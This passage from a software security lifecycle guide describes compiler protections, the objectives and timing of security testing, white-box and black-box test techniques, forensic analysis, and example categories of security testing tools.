  - Use of secure compilation techniques: Compilers can be modified to detect a maliciously modified stack or data area. A simple form of this protection is the stack canary, which is put on the stack by the subroutine entry code and verified by the subroutine exit code generated by the compiler. If the canary has been modified, then the exit code terminates the program with an error. Another protection that can be implemented in a compiler is the randomization of variables and code positions in memory, particularly the randomization of the location of loaded libraries. This capability is included in the GNU Compiler Collection (GCC) C and C++ compiler as a configurable option, and may similarly be provided by other compilers. Section 6.2.1 describes secure use of compilers, while Section 6.2.3 provides more information on modifying compilers and other compile-time security tools.
Some anti-malicious code countermeasures are applicable for binary executables, while others can be used only on source code. Software-level countermeasures should be used in conjunction with host-based and network-based countermeasures, such as virus scanners, filtering routers and firewalls, and (possibly) newer techniques such as virus throttling (developed by Hewlett Packard).

Most development-time countermeasures focus on producing software that is either not vulnerable to runtime insertions of malicious code, or that resists the insecure state changes that executing malicious code will attempt to force in the targeted software. By contrast, most runtime countermeasures either prevent malicious code from being inserted in deployed programs, or prevent already-inserted malicious code from executing, most often by altering some aspect of the runtime environment to something other than what is expected by the malicious code. Appendix C, Section C.8, describes attacks that can be used to insert malicious code at runtime into executing software programs.

5.4. Security Testing

Software security testing assesses the way that software systems behave and interact, and of how the components within a software system behave and interact. The main objectives of software security testing are to:

1. Locate exploitable vulnerabilities in the software;
2. Demonstrate the continued secure behavior of software in the face of attempts to exploit known or suspected vulnerabilities in the software.

Assessing the security of a software module, component, or whole program, while not necessarily technically complex, relies on a multifaceted approach involving a variety of technologies and techniques. The main objective will be to ensure that the application has sufficient safeguards for the threat environment and isn’t vulnerable to attack.

Security testing can also help verify that the software exhibits its required security properties and behaviors. Requirements verification should not be the main objective, however. Testing that is limited to verifying requirements compliance will not necessarily ensure that the software is secure: it will only ensure that the software is as secure as its security requirements are adequate. If the software’s security requirements are inadequate, the security of the software will also be inadequate. For this reason, as with the rest of the software lifecycle, software security testing should be essentially risk-based rather than requirements-based.

Risk-based testing focuses on misuse and abuse cases within software. More than simple negative testing, these efforts demand that the tester “think like an attacker” and attempt to invalidate assumptions made by the software and underlying libraries, frameworks, platforms, and operating systems. This type of testing is likely to reveal luring attacks on privileged components, overflow-type attacks, and other attacks where normal negative testing would not. Test techniques that are well suited to supporting risk-based testing include security fault injection and penetration testing.

Software security testing, then, is not the same as testing of the correctness and adequacy of the software’s security functions. While such tests are extremely important, they are correctly a subset of the software’s overall functional and interoperability testing, because security functions are a subset of the software’s overall functionality, and the interfaces to those functions are a subset of the software’s overall interface set.

The security of the software itself (vs. its security functionality) is what is often overlooked during requirements-based testing, if only because the security of the software—i.e., its lack of exploitable vulnerabilities and continued secure behavior in the face of intentionally-induced faults—is seldom captured as requirements in the software specification. However, failure to document nonfunctional security requirements for software must not be used as an excuse not to test the security of that software. Improving the security of the software lifecycle is an evolutionary process, and it is often easier to make a case for adding the necessary due diligence early in the
lifecycle if it can first be demonstrated, through security testing that is risk-driven rather than requirements-driven, that security problems exist in the software directly resulting from the failure to capture security behaviors and properties in the requirements specification.

Even if such requirements have been captured, the fact is that the assumptions on which requirements are based at a given point in time may change by the time the software is ready for testing. While it will be true that a complete specification that includes these nonfunctional security requirements will allow for some security properties and behaviors to be tested as part of the overall testing to verify the software’s requirements compliance, the fact is that nonfunctional software requirements will always be inadequate. This is because the threat environment in which the software operates is very unlikely to remain static. New attack strategies are virtually guaranteed to emerge during the time between the specification and the testing of the software. New versions of acquired or reused software components introduced after the original acquisition evaluation may harbor new vulnerabilities.

For these reasons, software security testing that is risk-based should always be included in the overall test plan for the software. Besides, in purely practical terms, the scenarios, tools, and techniques used for verifying nonfunctional security requirements compliance and those used for risk-based testing are very likely to be identical. The important thing is to ensure that the test cases exercise aspects of the software’s behavior that may not be demonstrated through requirements-based testing alone.

5.4.1. Objective of Software Security Testing

The main objective of software security testing is to verify that the software exhibits the following properties and attributes:

1. **Ability to remain in a secure state in the face of intentionally-induced faults:** The integrity or availability of the software, and the confidentiality of its sensitive data and/or processes, should not be compromised as the result of an intentionally-induced fault, i.e., the type of fault typically caused by an attempt to tamper with the software’s running executable, or by a denial of service attack against the software. At worst, if the software is compromised, it should include error/exception handling logic that immediately isolates, constrains, and minimizes the impact of the compromise.

2. **Absence of exploitable defects:** The software contains no defects, backdoors, dormant or hidden functions, or other vulnerabilities, that can be exploited, by an attacker (human or malicious code) in order to successfully compromise the security properties of the software itself, of the data it accesses or provides access to, or of any part of its execution environment.

3. **Predictably secure behavior:** The software performs its specified functions—and only those functions—without compromising the security properties and attributes of the software itself, its environment, or its data: This includes ensuring that no “dormant” functions in the software can triggered, either inadvertently during normal execution, or intentionally by an attack pattern.

4. **Security-aware error and exception handling:** The software performs safe error and exception handling. The software does not react to either unintentional anomalies or intentionally-induced faults by throwing exceptions that leave it in an unsafe (vulnerable) state. Furthermore, the software’s exception and error handling functions have been designed and implemented to recognize and safely handle all anticipated security errors and exceptions. Testing should demonstrate that the software responds appropriately to anticipated (or envisioned) abnormal situations, including both unintentional anomalies and intentionally-induced faults, and should focus particularly on those that occur during software startup, shutdown, error detection and recovery. Vulnerabilities are most likely to result from the software’s incorrect handling of these sensitive changes in its processing states.
A fifth objective is to ensure that the software’s source code has been stripped of any of the dangerous constructs described in section 5.5.

The ultimate findings of software security testing should provide enough evidence to risk managers to enable them to make informed decisions about how the software should be deployed and used, and to determine whether any constraints must be applied in deployment to counteract security problems introduced during development until such time as those problems can be rectified through reengineering.

5.4.1.1. Finding Exploitable Defects in Software

In order to verify that software is free of security defects, security analysts, code security reviewers, and software security testers should participate as appropriate in the series of analyses, reviews and tests the software undergoes throughout the lifecycle. To the greatest extent possible, testers should employ available security-oriented automated code review and testing and vulnerability scanning tools, including those that operate on source code and on runtime executables.

Testing of software as it is prepared for deployment and of software after deployment can reveal vulnerabilities that emerge as a result of changes over time in the software’s threat model. Whole lifecycle security reviews and tests should be performed on all software, not just software that performs security functions or enforces security properties. Defects in a non-security-related software component may not manifest as vulnerabilities in that component itself, but may cause the component to interface insecurely with a contiguous component, thus potentially compromising the security of that second component; if that second component is one that performs security functions or enforces security properties on behalf of the whole software system, such an exploit could compromise the whole system.

Standard analyses and testing of software do not always consider certain aspects of software designs, implementations, or configurations to be “defective”, because such defects do not affect the correctness of the software’s normal operation, but only manifest when intentionally exploited by an attacker. The “security enhancement” of software analysis and testing, then, should focus on expanding the list of what are considered defects to include the following issues:

- **Ability of client-side applications to be used to reveal source code or bytecode to users**: If a client application includes a function such as a browser’s “view source” function, the plaintext source code or bytecode made visible to the user by that function should be examined to ensure that it cannot be exploited in a reconnaissance attack, either to help the attacker perform social engineering, or to increase his/her knowledge of the software functions that could be exploited, or the directory structures that could be targeted, by other focused attacks. Content that should not be included in viewable plaintext source code or bytecode includes:
  - Comments that include personal information about the code’s developers (compromise of privacy);
  - Pathname references that reveal significant details about the directory structure of the host running the software and detailed version information about the development tools used to produce the code and the environment components of the host on which the software runs. These are particularly useful, as they indicate to the attacker whether the version of commercial or open source software used contains a published known vulnerability. For example, embedded SQL queries in database applications should be checked to ensure they do not refer to a specific RDBMS version, and web-based code should be checked for information about the brand name and versions of development tools used to produce, or runtime-interpret or compile the code.

- **Lack of input validation (including bounds checking), or input validation errors (e.g., buffer allocation/buffer check mismatches)**: Validation of both unintentionally or maliciously malformed
Input is the most effective way to prevent buffer overflows. Programs written in C or C++ in particular should be checked to ensure they contain correctly implemented input validation routines that prevent incorrect program responses to input with unexpected sizes or formats.

- **Server-side reliance on client-side data for security-critical decisions, or client-side logic for input validation or handling of malicious code:** Server-side reliance on client-originated data can make server applications vulnerable to attacks in which client-side data is altered before or in transit from client to server in order to compromise server-side security properties or functions, e.g., to subvert authentication checking or to gain access to confidential server-side data. Security analysis should be performed to ensure that server-side software validates all data originating from a client, even if the client validated that data first.

- **Insecure interactions or excessive dependency between application-level software and environment-level software:** Insecure interactions are those that are undertaken without the interacting entities establishing:
  - One another’s identity;
  - The trustworthiness of the mechanism and path by which the interaction will occur.

  Attackers often attempt to impersonate application-level and environment-level functions, inputs, and outputs in order to reference other application-level functions, resources, and data stores. Redirection methods and messaging functions may also be targeted. To the extent possible, the application should be designed to be self-contained, with its dependency on its execution environment for ensuring its correct, secure operation kept to a minimum. Even if environment “defense in depth” measures are used to protect the application software from attack, the application itself should contain necessary error and exception handling logic to ensure its security in the case that an attack manages to breach the environment-level protections. See Section 5.3.4 for more information on secure interactions between application- and environment-level software.

- **Logic that enables illicit attacker techniques to escalate permissions:** Successful attempts to reference software that has higher server-side permissions, or to exploit race conditions, can enable the attacker to identify lax permission enforcement or authentication checking. Such exploitable defects can be detected by examining code that has higher permissions than those of the examiner.

- **Data delivery methods vulnerable to subversion:** Attackers often attempt to subvert data in transit from client to server (or from consumer to provider) in order to analyze server/provider responses to the subverted data, specifically to determine whether or not there is validation checking that prevents acceptance of that data. This includes subversion through replay attacks and other session-oriented attacks.

- **Security functions/methods vulnerable to subversion:** The robustness of the software’s resistance to subversions of its security methods is critical. These include subversions that attempt to:
  - Bypass application security processes;
  - Impersonate a valid, authenticated user (human or process);
  - Access another user’s functions or data;
  - Access functions or data for which the user has insufficient privileges.

  The system’s user segregation methods and server-side/provider-side responses to failed authentication and access attempts are two areas in which exploitable defects frequently occur.
• **Lack of security-aware fault (error and exception) handling:** The overall robustness of a well-designed application is partially predicated by the robustness of its security handling procedures at the code or programming language level. C++ and Java, for example, inherently provide convenient and extensible exception handling support which allows for the “catching” of exceptions (faults that are not necessarily due to problems in external inputs or violations of software-level constraints) and errors (faults that are caused by external inputs or constraint violations; errors may or may not trigger exceptions).

Unfortunately, overuse or overextension of native exception handling mechanisms may result in overly complex code that includes additional faults that are difficult to diagnose. Moreover, developers may start to “reactively extend” handlers, pasting exception classes into application code only after the error or fault has been observed in the programs operation. Reactive extension of exception handling is likely to result in code that will fail to capture and handle all exceptions, because it the developer only pastes in exception classes for those exceptions that appeared during testing. Exception handling should be designed proactively through careful examination of code constraints as they occur throughout the lifecycle.

The developer should list all predictable faults, including both exceptions and efforts, that could occur during application execution, and define how the application will handle each of them. In addition, address how the application will behave if confronted with an unanticipated fault or error. In some cases, potential faults may be preempted in the design phase, particularly if the application has been subjected to sufficiently comprehensive threat modeling, while developers could preempt additional faults during pseudo-coding by cautiously examining the logical relationships between software objects and developing “pseudo” exception handling routines to manage these faults.

• **Insecure installation procedures or configuration parameters:** To be effective, the software’s installation-time configuration should be as restrictive as possible, in order to make sure the software is as resistant as possible to anticipated attacks and exploits.

Security testing should include a phase- and test target-appropriate combination of security test techniques adequate to detect this full range of defect types. The combination of techniques used at each test phase should be adequate to provide the required security assurances needed by the software’s risk manager and, in the case of whole-system testing, its security certifier. Other tests that may be run during these test phases include feature tests, performance tests, load tests, stability tests, stress tests, and reliability tests. See Sections 5.4.3 and 5.4.4 for discussions of “white box” testing (testing that requires source code) and “black box” testing (testing of binary executables).

### 5.4.2. Timing of Security Tests

Software security testing has traditionally been performed only after the software has been fully implemented and, in many cases, deployed. Such testing entails a “tiger team” attempting to break into the installed system by exploiting well-known vulnerabilities, and after a successful penetration documenting the likely causes of vulnerabilities so the application can be reconfigured, improper file permissions can be reset, or patches can be applied.

The problem with this approach—and specifically the timing of it—is that it happens too late in the software lifecycle, enabling attackers to stay a step ahead. Patches, in particular, are problematical: They are often ignored or postponed by administrators (this is particularly true of patches for commercial and open source software functions not used in the application). While they may fix some vulnerabilities, they can have an adverse effect on the patched software’s functionality, and can introduce new vulnerabilities or re-expose old ones.
Software engineering analysis and testing techniques used by the software safety community have revealed that a large proportion of software defects result from errors introduced in the software’s requirements, design, and implementation phases, and thus are likely not to be effectively mitigated by installation-time or maintenance-time countermeasures. For this reason, security analysis and testing must begin far earlier in the software development lifecycle.

Some late-stage “tiger team” security testing can be useful, either in determining whether the fully implemented, integrated software is ready to ship, or whether the deployed software is ready for Security Acceptance. Recognizing that such late-stage testing is necessarily constrained to identifying patterns of residual security vulnerabilities in order to remediate them—with the predictable high impact on cost and schedule that late-stage changes represent—before the software is distributed or installed.

Obviously, saving up all security testing until the end of the development lifecycle is not a desirable approach, as the best time to identify security problems is as early in the lifecycle as possible, where they can be remediated with the lowest impact on schedule and cost. On the other hand, late-stage “tiger team” testing is better to no security testing at all, which will result in the release of vulnerable software. Security testing based on defined security use cases, misuse cases, and abuse cases should be performed iteratively throughout the development lifecycle. The distribution of security tests throughout the lifecycle includes:

- Security reviews of requirements, architecture, and design specifications;
- Source code security review of from-scratch modules and open source software (the latter as part of the evaluation of that software);
- “Black box” security analysis and testing of binary acquired or reused software under consideration for assembly/integration, as part of the software’s evaluation and selection process;
- Assembly/integration option prototype testing to demonstrate secure behavior of components under various design options, and to determine the security of interfaces between components, and between the integration/assembly and external entities in the execution environment. The test results should enable a final determination of the best assembly option to be made.
- Integration security testing of the final selected and implemented integration/assembly option. The security testing at this stage is in addition to the functional testing of the application’s security functions, which is properly a subset of the application’s overall functional correctness testing (i.e., testing of the correct operation and behavior of all trusted functions, security functions, and embedded security protections). Integration security testing should occur within a test environment that to the greatest extent possible mirrors the target operational environment in which the application will be installed and run, in terms of the presence of all anticipated execution environment and infrastructure components, and realistic representative test data.

During this testing phase, the software, test plan, test data, and test oracles (if used) are migrated from the development environment into a separate, isolated test environment. All security test cases (use cases and misuse cases) in the test plan should be run to ensure the adherence of the assembled/integrated application to all of its security requirements (including those for security properties/attributes, secure behaviors, self-protecting characteristics, and not just security functionality). Particular attention should be paid to the security of interfaces within the application, and between the application and external (environment) entities.

The system’s Acceptance Test Plan should incorporate a Security Acceptance Plan, which contains the suites of security test cases (use and misuse cases) and defines:
1. Test data and test oracle (if one is to be used) necessary to fully demonstrate that the system is ready to go into production use;

2. Testing tools (static and dynamic) to be used and the analyses of tool output to be performed.

Figure 5-2 is a suggested distribution of different security test techniques throughout various lifecycle phases.

![Security Test Techniques Diagram]

**Figure 5.2. Suggested Distribution of Security Test Techniques in the Software Lifecycle**

### 5.4.2.1. Security Test and Evaluation (ST&E)

If the system of which the software is a component is to be certified and accredited, the Security Acceptance Plan will be a prerequisite of the Security Test and Evaluation (ST&E) phase of the Certification and Accreditation process, and its format and contents will be defined, in some cases along with the specific test techniques to be used, in the C&A methodology governing the system, e.g., FISMA, NIACAP, DITSCAP, DIACAP, DCID 6/3, or another mandated C&A methodology (C&A-related considerations in the development lifecycle were discussed in Section 4.2.2).

ST&E in support of security C&A is performed on the installed system of which the application is a part. All of the relevant measures for preparing the software for secure deployment (see Section 5.5) should be addressed before the ST&E begins. The process used to achieve the system’s security acceptance or approval to operate will culminate in a risk analysis. This risk analysis will be used to identify any additional safeguards or countermeasures that may need to be applied to remediate or mitigate the impact of security deficiencies found
during the ST&E, and to establish a risk baseline for the system. This risk baseline will later be compared against
the risk analysis results of the next iteration of the system, produced during the maintenance phase.

All test cases in the ST&E’s Security Test Plan are run, and the appropriate stakeholder (user representative or
system certifier) reviews the test results to verify that the test suite has been executed with satisfactory results.
Once the system is approved to operate and the user accepts delivery, all artifacts of the accepted system,
including software source code and binaries, documentation, and acceptance test results are “locked” in the CM
system and archived for future reference during system maintenance.

Ongoing post-deployment vulnerability scanning and penetration testing of the operational application is
performed as part of the application’s ongoing risk management. Other security tests, in support of impact
analyses for security patches, updates, new releases, and component substitutions also occur post deployment, as
part of the application’s overall maintenance plan. The results of each test should be checked into the CM system
as soon as the test is completed. When an individual unit or the whole application has completed each test phase,
it should also be checked into the CM system.

5.4.3. “White Box” Security Test Techniques

The following tests and reviews are performed on source code. These techniques should be performed as early in
the lifecycle as possible in order to allow time to correct a small code unit before it is integrated into the larger
code base.

White box tests are also more effective when done first on granularly small components, e.g., individual modules
or functional-process units, etc., then later on the whole application or software system. Iterating the tests in this
way increases the likelihood that defects within the smaller components will be detected during the first set of
tests, so that the final whole application/whole system code review can focus on the “seams” between code units,
representing the relationships among and interfaces between components.

White box tests should not be limited to from-scratch code, but should also be performed on all open source
components used in the software system.

5.4.3.1. Code Security Review

A code review, or audit, investigates the coding practices used in the application. The main objective of such
reviews is to discover security defects and potentially identify fixes. Because source code security reviews depend
on the expertise of the reviewers, they are best performed by security experts on the development team, the
organization’s risk management or accreditation team, or an expert independent entity. To reduce required review
time, reviews are often performed only on the code that risk analysis identifies as the most vulnerable.

The techniques for performing code security reviews range from manual to fully-automated. In a manual review,
the reviewer inspects all code without the assistance of automated code review tools, until defects or
vulnerabilities are found. This is a highly labor-intensive activity, and tends to produce its most complete,
accurate results very early in the process, before reviewer fatigue sets in. In a fully-automated review, the
automated code review tool performs all of the code inspection, and the reviewer’s job is to interpret the results.

The problem with the fully automated review is that it can only be as complete as the list of patterns the tool is
programmed to scan for. Also, automated code review is unable to identify vulnerabilities in relationships
between different sections of code. Between manual and fully-automated code review lies semi-automated
review, in which the reviewer uses automated tools to assist in the manual inspection. These tools locate those
portions of the code that contain certain patterns, enabling the reviewer to narrow the focus of manual inspection
on the tool-highlighted portions of the code.
Code review can also focus on suspected malicious code in order to detect and pinpoint signs and locations of malicious logic. For suspected malicious code written in shell script, reviewers should look for:

- Presence of comments indicating that the code is exploit code;
- Code that allows for logging into the host;
- Code that changes file ownership or permissions.

For suspected malicious code written in C, reviewers should look for comments indicating exploit features, and for embedded assembler code (e.g., the `asm` feature, strings of hexadecimal or octal characters/values).

### 5.4.3.1.1. Direct Code Analysis

Direct code analysis extends manual code review by using tools that focus on predefined security property requirements, such as non-interference and separability, `persistent_BNDC`, non-inference, forward-correctability, and non-deducibility on outputs. One of drawbacks of direct code analysis is that requires a high level of resources and is not particularly scalable, so it is best performed during the acquired or reused software evaluation phase rather than later in the lifecycle.

There are two categories of direct code analysis: static and dynamic. In static analysis, the source code and/or executable is examined without being executed to detect insecure code by analyzing all possible executions rather than just test cases—one of the benefits of this is that static analysis can be performed prior to compilation or installation. Dynamic analysis attempts to discover defects during execution by monitoring the variables.

### 5.4.3.1.2. Property-Based Testing

Property-based testing narrowly examines certain properties of source code, such as security properties in order to prove that no predictable vulnerabilities exist, and to determine which assumptions about the program’s behavior are correct. Property-based testing is usually performed after application functionality has been established, and includes analysis and inspection of the software’s requirements and design specifications and implemented source code to detect vulnerabilities in the implemented software.

Property-based testing is usually limited to examination of the small subset of the overall code base that implements the software’s trusted functions; this limitation in focus is necessary because property-based testing requires complete, systematic analysis of the code in order to validate all of its security properties. Furthermore, to be effective, property-based testing must also verify that the tests themselves are complete.

### 5.4.3.2. Source Code Fault Injection

Source code fault injection “instruments” software source code by non-intrusively inserting changes into a program, then compiling and executing the instrumented program to observe how its state changes as a result of executing the instrumented portions of the code. In this way, source code fault injection can be used to determine and even quantify how software behaves when it is forced into anomalous circumstances, including those instigated by intentionally-induced faults. It is particularly useful in detecting incorrect use of pointers and arrays, use of dangerous calls, and race conditions.

Source code fault injection is most effective when used iteratively throughout the code implementation process. When new threats (attack types and intrusion techniques) are discovered, the source code should be re-instrumented with faults representative of those new threat types.
5.4.3.2.1. Fault Propagation Analysis

Fault propagation analysis involves two techniques for fault injection testing of source code, extended propagation analysis and interface propagation analysis. The objective of both techniques is not only to observe individual state changes as a result of faults, but to trace the propagation of state changes throughout the code tree that result from any given fault. In order to perform fault propagation analysis, a fault tree must be generated from the program’s source code.

Extended propagation analysis involves the injection of faults into that fault tree, enabling the tester to see how the injected fault propagates through the tree, and to thus extrapolate outward to anticipate overall impact a particular fault may have on the behavior of the whole software module, component, or application. In interface propagation analysis, the focus is shifted from perturbing the source code of the module or component itself to perturbing the states that propagate via the interfaces between the module/component and other application-level and environment-level components.

As with source code fault injection, in interface propagation analysis anomalies are injected into the data feeds between components, enabling the tester to view how the resulting faults propagate and to discovery whether any new anomalies result. In addition, interface propagation analysis enables the tester to determine how a failure of one component may affect neighboring components, a particularly important determination to make for components that either provide protections to or rely on protections from others.

5.4.3.3. Compile-Time Security Defect Detection

Compile-time and runtime detection relies on the compiler to detect and flag, or in some cases eliminate, defects in the code that were not detected during code review and which could make the compiled software vulnerable to compromises. A simple version of compile-time detection occurs in all basic compilers: type checking and related program analysis. While these checks prove useful for detecting defects, they are not extensive or sophisticated enough to detect more complex defects with security implications.

By contrast, some compilers include extensions to perform full program verification to prove complex security properties; these verifications are based on formal specifications that must be generated prior to compilation. Program verification is most often used to detect errors or “dangerous usages” in C and C++ programs and libraries, such as usages that leave the program vulnerable to format string attacks or buffer overflows. Some compile time verification tools leverage type qualifiers. These qualifiers annotate programs so that the program can be formally verified to be free of recognizable vulnerabilities. Some of these qualifiers are language-independent and focus on detecting “unsafe” system calls that must be examined by the developer; other tools detect language-specific vulnerabilities (e.g., use of buffer overflow prone library functions such as printf in C).

Still other tools perform “taint analysis”, which flags input data as “tainted” and ensures that all such data are validated before allowing them to be used in vulnerable functions.

5.4.4. “Black Box” Security Test Techniques

“Black box” tests are performed on the binary executable of the software, and in essence “poke at” the software from the outside in order to observe its outputs and behaviors, rather than examining the actual code that implements it. For acquired and reused black box components, black box tests are the only tests available. However, they are also valuable for testing executables (from-scratch or open source) compiled from source code, because they enable the tester to see the software “in action”, in order to confirm assumptions made during white box testing about a given component’s behavior when it receives various inputs from other components, its environment, or its users. Black box testing also enables the tester to observe the software’s behavior in response to a wide variety of user inputs and environment configuration and state changes, including those that indicate potential attack patterns. These kinds of interactions between the software and its external environment and users...
are impossible to achieve during white box testing: in code review they can only be imagined, and in fault injection only roughly simulated.

5.4.4.1. Software Penetration Testing

In software penetration testing, testers target individual binary components or the application as a whole to determine whether intra or intercomponent vulnerabilities can be exploited to compromise the application, its data, or its environment resources. Penetration testing may reveal critical security defects overlooked in functional testing. In order to be effective, penetration testing needs to be more extensive and complex than less sophisticated (and less costly) black box security testing techniques, such as fault injection, fuzzing, and vulnerability scanning, that would provide much the same results.

The penetration test scenarios should focus on targeting potential security defects in the application’s design, and should include tests that reproduce the threat vectors (attacks, intrusions) determined to be either most likely or most damaging by the application’s risk analysis, as well as worst-case scenarios, such as a hostile authorized user. Ideally, the test planner will have access to the application’s requirements and design specifications, implementation documentation, source code (when available), user and administrator manuals, and hardware diagrams.

5.4.4.2. Security Fault Injection of Binary Executables

Fault injection of binary executables was originally developed by the software safety community to reveal safety-threatening defects that could not be found through traditional testing techniques. Safety fault injection is used to induce stress in the software, create interoperability problems among components, and simulate defects in the execution environment. Security fault injection uses similar techniques to simulate faults that would result from intentional attacks on the software, and from unintentional defects that could be exploited by an attacker.

Security fault injection is most useful as an adjunct to security penetration testing, enabling the tester to obtain a more complete picture of how the application responds to attack. Security fault injection involves data perturbation, i.e., alteration of the type of data the execution environment components pass to the application, or that the application’s components pass to one another. Fault injection can reveal the effects of security defects on the behavior of the components themselves and on the application as a whole.

Environmental faults in particular are useful to simulate because they are most likely to reflect real-world attack scenarios. However, injected faults should not be limited to those simulating real-world attacks. As with penetration testing, the fault injection scenarios exercised should be designed to give the tester as complete as possible an understanding of the security of the behaviors, states, and security properties of the application under all possible operating conditions.

5.4.4.3. Fuzz Testing

Fuzz testing is similar to fault injection in that invalid data is input into the application via the environment, or input by one process into another process. Fuzz testing is implemented by tools called fuzzers, which are programs or script that submit some combination of inputs to the test target in order to reveal how it responds. Fuzzers are generally specific to particular types of input. The fuzzer provides the application with semi-random input, usually created by modifying valid input. As with the other test techniques, effective fuzz testing requires the tester to have a thorough understanding of the application targeted and how it interfaces with its environment. Because most fuzzers are written for a specific application, they are not easily reusable. However, their value lies in their specificity: they can often detect security defects that more generic tools such as vulnerability scanners and fault injectors cannot.
5.4.4.4. Reverse Engineering Tests: Disassembly and Decompilation

Reverse engineering of binary executables is achieved through disassembly or decompilation. In disassembly, the assembler code is reconstructed from the binary executable to allow the tester to find the types of security-relevant coding errors and vulnerabilities that can be detected in assembler-level code. The difficulty in disassembly lies in the need for the tester to have a thorough understanding of the specific assembler language generated by the disassembler, and in the fact that it is far more difficult for a human reviewer to recognize security defects in assembly language than in higher level languages.

By contrast with disassembly, decompilation generates high-level source code from the executable binary. The decompiled source code can be subjected to a security code review and other white box tests. However, the source code generated through decompilation is rarely as navigable or comprehensible as the original source code; thus security code review of decompiled code will be significantly more difficult and time consuming than review of the original source code.

Both techniques are likely to be practical only when strictly limited to trusted or other very high-value software that are considered to be at very high risk (in terms of likelihood of being targeted by attack, or under high suspicion of containing critical vulnerabilities, e.g., due to suspect pedigree). Many commercial software products use obfuscation techniques to deter reverse-engineering; such techniques can increase the level of effort required for disassembly/decompilation testing, making such techniques impractical. In other cases, the commercial software’s distribution license may explicitly prohibit reverse-engineering.

5.4.4.5. Automated Application Vulnerability Scanning

Automated application vulnerability scanning employs commercial or open source scanners that search the executing application for behaviors and input/output patterns that match patterns associated with known vulnerabilities stored in the scanning tool’s database of vulnerability “signatures” (comparable to virus signatures in virus scanning tools). The vulnerability scanner is, in essence, an automated pattern-matching tool, similar in concept to an automated code review tool. And like the automated code review tool, the vulnerability scanner is unable either to take into account the increased risk associated with aggregations of individual vulnerabilities, or to identify vulnerabilities that result from particular unpredictable combinations of behaviors or inputs/outputs.

Vulnerability scanners can be either network- or host-based. Network-based scanners run remotely from the target application over a network, while host-based scanners must be installed locally on the same machine as the target application. Host-based scanners are generally able to perform more sophisticated analyses, such as verification of secure configurations. While the scanning process is automated, because the tools usually have a high false positive rate, the tester must have enough application development and security expertise to meaningfully interpret the results and identify the true vulnerabilities.

As with virus scanners, these tools are based on whatever vulnerability signatures the supplier is aware of at the time the tool is purchased/obtained by the tester. Thus, the tester must be vigilant about frequently downloading updates to the vulnerability signature database (two important evaluation criteria when selecting a vulnerability scanner are how extensive the tool’s signature database is, and how often the supplier issues updates). In some cases, vulnerability scanners provide information and guidance on how to mitigate the vulnerabilities detected by the tool.

Vulnerability scanners are most effectively used in the initial security assessment of acquired or reused binary software, in order to reveal common vulnerabilities that are unfortunately prevalent in commercial software. In addition, vulnerability scanning prior to application penetration testing can be useful to ensure that the application does not include straightforward common vulnerabilities, thus eliminating the need to run penetration test scenarios that check for such obvious vulnerabilities.
5.4.5. Forensic Security Analysis

Forensic security analysis is performed after a deployed executable software has been compromised, in order to determine what vulnerabilities in the software’s functions or interfaces were exploited by the attacker. Unlike pre-deployment security testing, the focus of forensic analysis is to identify and analyze specific proven vulnerabilities, rather than to search for defects and defects that may or may not exist. Forensic analysis comprises three different analyses: intracomponent, intercomponent, and extracomponent. Intracomponent forensic analysis is used when the exploited vulnerability is suspected to lie within the component itself.

The tools supporting this analysis provide the analyst with static and dynamic visibility into the behaviors and states of the component (including the source code, if available), in order to pinpoint where the vulnerability may lie. Intercomponent forensics are used when the location of the vulnerability is suspected to lie in the interface between two components. The supporting tools for such an analysis provide insight into the communication or programmatic interface mechanisms and protocols used between the components, and also reveal any incompatibilities between the implementation of those mechanisms/protocols from component to component.

Extracomponent analysis is used when the vulnerability is suspected to lie in the whole system’s behavior or in some aspect of its environment. Supporting tools for this type of analysis provide insight into the audit and event logs for the software system and its surrounding environment. Records of system-level security-relevant behavior are also analyzed to reveal points of vulnerability in the software’s configuration and interaction with its environment that appear to have been targeted by the attacker. One such tool is the Post Mortem Analysis (PSE) tool developed by Microsoft.

5.4.6. Software Security Testing Tools

Software security testing tools are designed to help the tester verify that software programs:

1. Have been implemented in strict conformance with their specifications, including performing all of their specified security functions; and
2. Operate correctly and securely, in terms of avoiding or resisting attempted compromises or exploits targeting expected (by the attacker) vulnerabilities, or attempts by attackers to discover unknown vulnerabilities.

Typically, security testing tools implement a particular testing technique or method, such as “white box” (also known as “clear box” or “crystal box”) code review, and “black box” vulnerability scanning, penetrating testing, and security-oriented fault injection. Unfortunately, no single tool exists that can automatically, comprehensively assess the security of a software application, service, or program. Current commercial and open source vulnerability assessment, security fault injection, and code security review tools find only a portion of common basic faults in non-complex applications, source code files, and execution environments, and provide general advice on better coding and deployment practices. Such tools are probably most useful during the initial security assessment of acquired or reused software and of the various component assembly options, as well as during the security testing of the whole application.

Software security testing tools are designed to help the tester verify that software programs:

1. Have been implemented in strict conformance with their specifications, including performing all of their specified security functions;
2. Operate correctly and securely, in terms of avoiding or resisting attempted compromises or exploits targeting expected (by the attacker) vulnerabilities, or attempts by attackers to discover unknown exploitable vulnerabilities.
Typically, security testing tools are designed to support in a particular phase, technique, or method of testing. Tools specifically geared towards application-level software testing should be augmented by tools for verifying the security (lack of vulnerabilities, secure configuration) of the application’s execution environment, including the environment’s middleware (database management systems, application frameworks, web servers, etc.), operating system, and networking components. This is particularly important to determine whether a security vulnerability revealed through dynamic security analysis of executing software (vs. static analysis of code) originated in the application itself or in its environment.

The main categories of software and application security testing tools most widely available, both commercially and open source, are listed below, with commercial (with vendor names) and open source examples of tools in each category. New tools appear frequently, so these examples should not be considered exhaustive or even current. Moreover, these examples are meant to be illustrative only; they are in no way intended to be seen as recommendations.

NOTE: The tools below are listed as examples only; URLs for them are not provided in Appendix B.

- **Code security review tools/automated code scanners**, including both source code and bytecode scanners. *Examples:* PREfast (within Microsoft Visual Studio 2005 Enterprise Edition), CodeAssure Workbench (Secure Software), inSpect (Klockwork), Source Code Analysis Engine and Audit Workbench (Fortify), Prexis (Ounce Labs), Inspector (HBGary), DevInspect and Secure Objects (SPI Dynamics), CodeSpy (OWASP open source), ITS4 (Secure Software open source), RATS (Cigital open source), FlawFinder (David Wheeler open source), Splint (University of Virginia open source), WebSSARI (OpenWaves.net open source), PScan (Alan DeKok open source)


- **Application vulnerability assessment tools.** *Examples:* WebInspect (SPI Dynamics), AppScan (Watchfire), ScanDo (KaVaDo), Prevent (Coverity), Application Risk Analyzer (Fortify), Automated Vulnerability Assessment and Management Appliance (Beyond-IP), WebScarab (OWASP open source), WAVES (OpenWaves.net open source), Eau Claire (Brian Chess open source)

- **Security fault injection tools.** *Examples:* Holodeck (Security Innovation), Icebox (HBGary), OraScan (Next Generation Software Systems)

